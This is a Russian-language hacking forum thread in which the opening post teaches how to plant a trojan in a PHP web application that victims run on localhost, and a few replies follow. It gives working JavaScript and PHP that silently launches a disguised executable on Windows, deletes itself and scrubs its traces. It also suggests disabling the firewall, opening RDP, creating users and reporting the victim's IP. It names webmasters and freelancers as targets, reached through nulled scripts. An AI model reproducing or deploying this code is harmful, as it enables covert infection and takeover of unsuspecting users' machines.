Трояним с помощью php

Тема в разделе "Статьи", создана пользователем Centr, 25 апр 2015.

  1. TopicStarter Overlay
    Centr

    Centr Команда форума

    [​IMG]

    Для того, чтобы затроянить кого-то с помощью php, нам нужен скрипт-донор, троян и 2 файла. Наша жертва должна запустить скрипт на локалкхосте (Denwer, AMPPS, AppServ, EasyPHP, Nimp, Xampp и т.д.). Обязательно указывайте, что надо протестировать софт на локалке (особенно, если встраиваете в нулл), либо встраивайте троян в скрипты, которые предполагается запускать только на локалхосте.

    Нам нужно:
    1. script.js;
    2. go.php;
    3. evil.png (троян с измененным расширением);
    4. Веб-приложение донор.

    Инклюдим в донора файл script.js:
    Код:
    // чтобы работал ajax
    function getXmlHttp(){
       var xmlhttp;
       try {
         xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
       } catch (e) {
         try {
           xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
         } catch (E) {
           xmlhttp = false;
         }
       }
       if (!xmlhttp && typeof XMLHttpRequest!='undefined') {
         xmlhttp = new XMLHttpRequest();
       }
       return xmlhttp;
    }
     
    // Запуск скрипта go.php.
     
    //###start456789
    var x = getXmlHttp(); x.open('GET', '/go.php', true);
    x.onreadystatechange = function() {
    if (x.readyState == 4) {if(x.status == 200) {}}};
    x.send(null);
    //###end456789
     
    //Любой код далее
    Вы можете вставить приведенный выше кусок текста в любой js-скрипт, используемый приложением которое мы трояним. В этом коде посылается ajax-запрос на некий скрипт под названием go.php. Теперь посмотрим, что находится в скрипте go.php:
    Код:
    <?php
    //подготавливаем троян
    rename("evil.png","evil.exe");
    //удаляем этот скрипт
    unlink('go.php');
     
    //Чистим следы в script.js
    $source = file_get_contents('script.js');
    preg_replace ("//###start456789[\s|\S]*//###end456789","",$source);
    $fh = fopen('script.js','w');
    fwrite($fh, $source);
    fclose($fh);
     
    //Работаем только на win
    $pos =strpos(php_uname(), "Win");
    if($pos !== False){
         exec('evil.exe');
    }
    //удаляем троян, если он сам не удалился или мы не на винде
    unlink('evil.exe');
    Если вы уверены на 100% что жертва сидит на Win7, Vista, XP, то переименовывать в .exe не обязательно. Работа скрипта будет еще беспалевнее:
    Код:
    <?php
    //удаляем этот скрипт
    unlink('go.php');
    
    //Чистим следы в script.js
    $source = file_get_contents('script.js');
    preg_replace ("//###start456789[\s|\S]*//###end456789","",$source);
    $fh = fopen('script.js','w');
    fwrite($fh, $source);
    fclose($fh);
    
    //Работаем только на win
    $pos =strpos(php_uname(), "Win");
    if($pos !== False){
         exec('evil.png');
    }
    //удаляем троян, если он сам не удалился или мы не на винде
    unlink('evil.png');
    Концепция думаю понятна. Результат (вместо запуска трояна – exec(‘calc.exe’)):


    [​IMG]
    Что можно еще сделать/добавить? Одепты уже догадались:

    • Обфускация скриптов
    • Сборка трояна из нескольких файлов
    • Запуск трояна из запароленного архива
    • Проверка доступа к интернету
    • Проверка на запуск в виртуальных машинах
    • Используем командную строку на всю катушку (отключаем файрволл, открываем telnet, rdp, smb, создаем нового пользователя и т.д.)
    • Если функция exec запрещена, пробуем использовать другие (system, passthru, proc_open, shell_exec, popen…)
    • Добавить некие действия, если скрипт запускается под linux, macOS.

    Разумеется для большей беспалевности, можно менять названия файлов, прятать их во вложенные папки и т.д. При желании, можно впихнуть все в один файл (троян, js, php), можно обойтись без троянов – создать юзера, открыть доступ по RDP, отправить на гейт IP.
    Кто может стать целью?
    • Вебмастера(легко встроить в дорген, спамилку, парсер, чекалку, нуленный скрипт, очередную кнопку “бабло”)
    • Веб-студии, фрилансеры, быдлокодеры (под предлогом доработки “сайта”, скрипта)
    • Школо-хеккеры (приватный менеджер шеллов, локальный генератор фейков, дамп форума и т.д.)
    Публика довольно узкая, но весьма интересная. И разумеется, никто не запрещает оставить php-бекдор и стучалку, на случай запуска скрипта в интернетах, но это уже совсем другая история…
     
    Последнее редактирование: 11 янв 2016
  2. Если иметь шелл на Вин сервере, то оно может отработать или как?
     
  3. Ну да, спалю тебе тему-) если шелл на винде запускаешь коня через консоль и у тебя жертва есть-) ну дальше думаю разберешься что к чему-)
     
  4. Зачем столько извращений? просто сплоит или дырка + exec() ну или другая разрешенная команда. Опять же за пределы сервиса нужно вылезти и иметь соответствующие привелении или софт их повышающий.
     

Поделиться этой страницей